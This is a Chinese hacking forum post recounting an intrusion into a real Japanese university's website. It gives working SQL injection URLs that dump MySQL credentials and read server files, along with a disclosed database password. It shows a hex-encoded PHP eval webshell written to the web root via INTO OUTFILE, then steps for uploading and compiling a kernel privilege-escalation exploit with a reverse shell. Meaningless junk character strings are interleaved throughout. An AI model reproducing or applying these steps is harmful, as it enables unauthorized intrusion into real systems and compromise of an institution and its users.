找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2496|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析6 n4 K0 g% `9 @
7 y( h% N) a! U- ~9 e) n
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
" j/ ?$ g# `9 S  y, B! K然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
  d/ `. Z" p4 {5 ]$ h7 [
8 [+ _1 J0 b7 i# t4 V# g# O0 Fhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user% o2 x" x! ^* N
+ k( Q4 R& [* ], V# L

8 R6 t! B- B8 L' Y6 J. k" C7 `! m% \" ^- P
//@@datadir为数据库文件路径 ! O4 j% X& X8 d2 v  U$ l3 D
8 ~  E: }# \! m$ `2 ]+ `: D9 n
& s  y! ?& F! f, E
//load_file读取网站容器apache的配置文件 2 o) k2 P1 k. @! A

1 s6 |9 z+ m3 x7 U" K. I  G4 A, G
: B: e) f% j) y5 E7 ^+ Q  x3 Q/ w//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机   V  ]9 Z4 n4 a; \  R% Q
复制代码8 O. y. Y4 T7 E% S3 a
; Q+ u, y- t0 J6 y
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。5 o7 F4 S  d3 ~! G

8 `3 n% L! b: \8 s8 j* g$ U而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
0 v2 r* W6 Y5 q, ](大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
5 F  C' Q! c4 ?# [4 G1 u0 m
! l2 y% `6 e+ y4 n. Q前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
/ p7 a  u/ ]0 p& c1 F如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
" l1 S9 t4 t! O, ?9 b
, p" B9 z$ A: R7 {2 Y既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
) n0 R0 P0 G0 e' b- Q; Y" s/ W虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。7 u% ?* c9 P7 z9 I" K3 c
直接写一句话:9 ^/ q) p+ N& A( o

3 l, w: R/ X# L8 m  g5 U8 @http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#0 |! V) E- ~, Y( s9 j5 P+ [
' k1 @/ C0 Q* p+ |6 ~
& p& N+ Y* h9 Y/ A9 |. G
5 b. k, e# X: n" J: l
//最后的#是为了闭合前面的语句
. s* Y- @% V9 Y# _5 [% q $ J( D1 W! y* S, ~+ z; l
+ b4 G) L5 a% l2 l( Y
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
2 e; }+ u. w% Y/ S: a  p
8 a9 _0 X2 q6 G7 c4 r) ]% h  w' f/ d7 Q6 @% u- D
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ ( F( M- _3 h. s9 P% e  s( p

# w8 w, ]( I/ b) s7 M* T1 B3 ~1 _9 Y! Y
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
2 Y% n' W9 u( H4 Y1 U7 t+ l 9 v) `1 |0 [. ^2 H8 _- R) P8 Y

7 N0 y, E" m2 I1 _4 E0 Z//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 " V2 x1 M: h& J  F1 ?8 [" x
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” / V- `0 I+ }( h" v! w! H
复制代码( b7 s) d& _. w* `( t: V& N9 C
+ x% @! m6 z8 _2 y, l% i
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有+ z: U  A, c& U, ^# P
通过上述注入语句,我们就得到了一句话木马:& `& ~# k% f) A: @" ?0 H% b6 S
, n' w6 {4 k6 U3 q. U% F
5 ^1 g4 c: [4 F) J6 z, W! g

5 ?* U1 u/ Y6 h% v$ F " R, k, d. T  N+ Z" N6 ~5 D

2 v' x% c: o0 phttp://www.doshisha.ac.jp/english/engnews_img/aa.php
+ b% m) c( q* y: h' F复制代码8 s: T. e; k5 t( W

9 H7 m: x8 P1 Z; e8 x; M) q用菜刀连接,密码是cmd,如图所示:$ ]0 b' B% Q5 ~3 f! o  e" M
然后在命令提示行里看了一下,现在的权限是:7 S& j* ?$ H: X4 j2 r7 K" x
+ o$ y  ?- W4 b6 O5 W$ g* M! K0 f
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
4 Y# E3 P- `7 K  k# R& ?4 W+ y8 Q好在赋权给这个文件夹不需要root,直接执行赋权语句:% W+ u7 A! t& ]: Z
+ A3 l. W- g5 G2 E2 [1 e9 L/ f
) L0 P- E6 E) r) b4 f( y" R9 w! P: l

3 V6 P' `9 s) Y2 E4 n8 b ) e0 x3 I/ @4 l, w
7 z& E' M! k) F
chmod +x /tmp/ 1 S7 h: j5 z; x! F. X; u4 v6 O
复制代码
3 X3 N$ k) N" O1 p
7 \' b2 m  T. i在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行6 V6 }' \7 N) r  \3 E
然后就查了一下内核版本:
& {2 P* C5 t& q
( S! i, i2 \" d; n- M' f: ?- U * M1 P8 ~. @2 w7 u$ ]; x4 _
$ B( S5 O3 y6 a6 O1 w

; q5 D5 {& C2 t3 H/ I' L' f* F9 @6 v8 i
uname-a
+ b4 }8 c) |* e8 ]0 U% u
: K) h: X) y; L% ^  b
; L6 F, [- x; f# x! n, |2 q% x9 s//其实lsb_release -a , N. Q" G& G3 e& {" r
复制代码% b: ?. o3 \8 g" G0 \

3 c6 T# A2 i( I如图所示:
, F+ A) o" Y% z% C9 O3 W3 J" P$ Z. X* r' M
内核版本:linux mainz1 2.6.28-194.e15
4 Q- s1 q% L( P( a8 [! V系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)( s8 y: l5 L. d. n+ ?
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹0 z* d( K( {9 `! P' u( j
* O9 p& z* S. {% Y, @
然后给予执行权限& L- A9 b3 V! }, Y% C) }9 x
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样) w! M. \$ c3 W

' [8 }8 Y- ]1 j% U4 _ 6 r5 n; W1 N" {) }

- A! p% o6 a$ {( c
8 G* u- l5 X! q7 e0 S# U* u& c) W) o; H+ `
chmod +x /tmp/2.6.18-194
# q" {- p* y! \复制代码 然后直接执行!~5 n: K3 O( {' F* }/ n

/ o7 v3 o& z4 }. @总结:
. m5 h( E& [" K, t' ^0 B+ d这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
0 O# {+ b/ H& l& y8 g- I提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
0 Y% q) L2 e, L3 Q% r$ Z( y5 G
2 ]  a0 w% i  a+ k5 W- P' J9 ?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表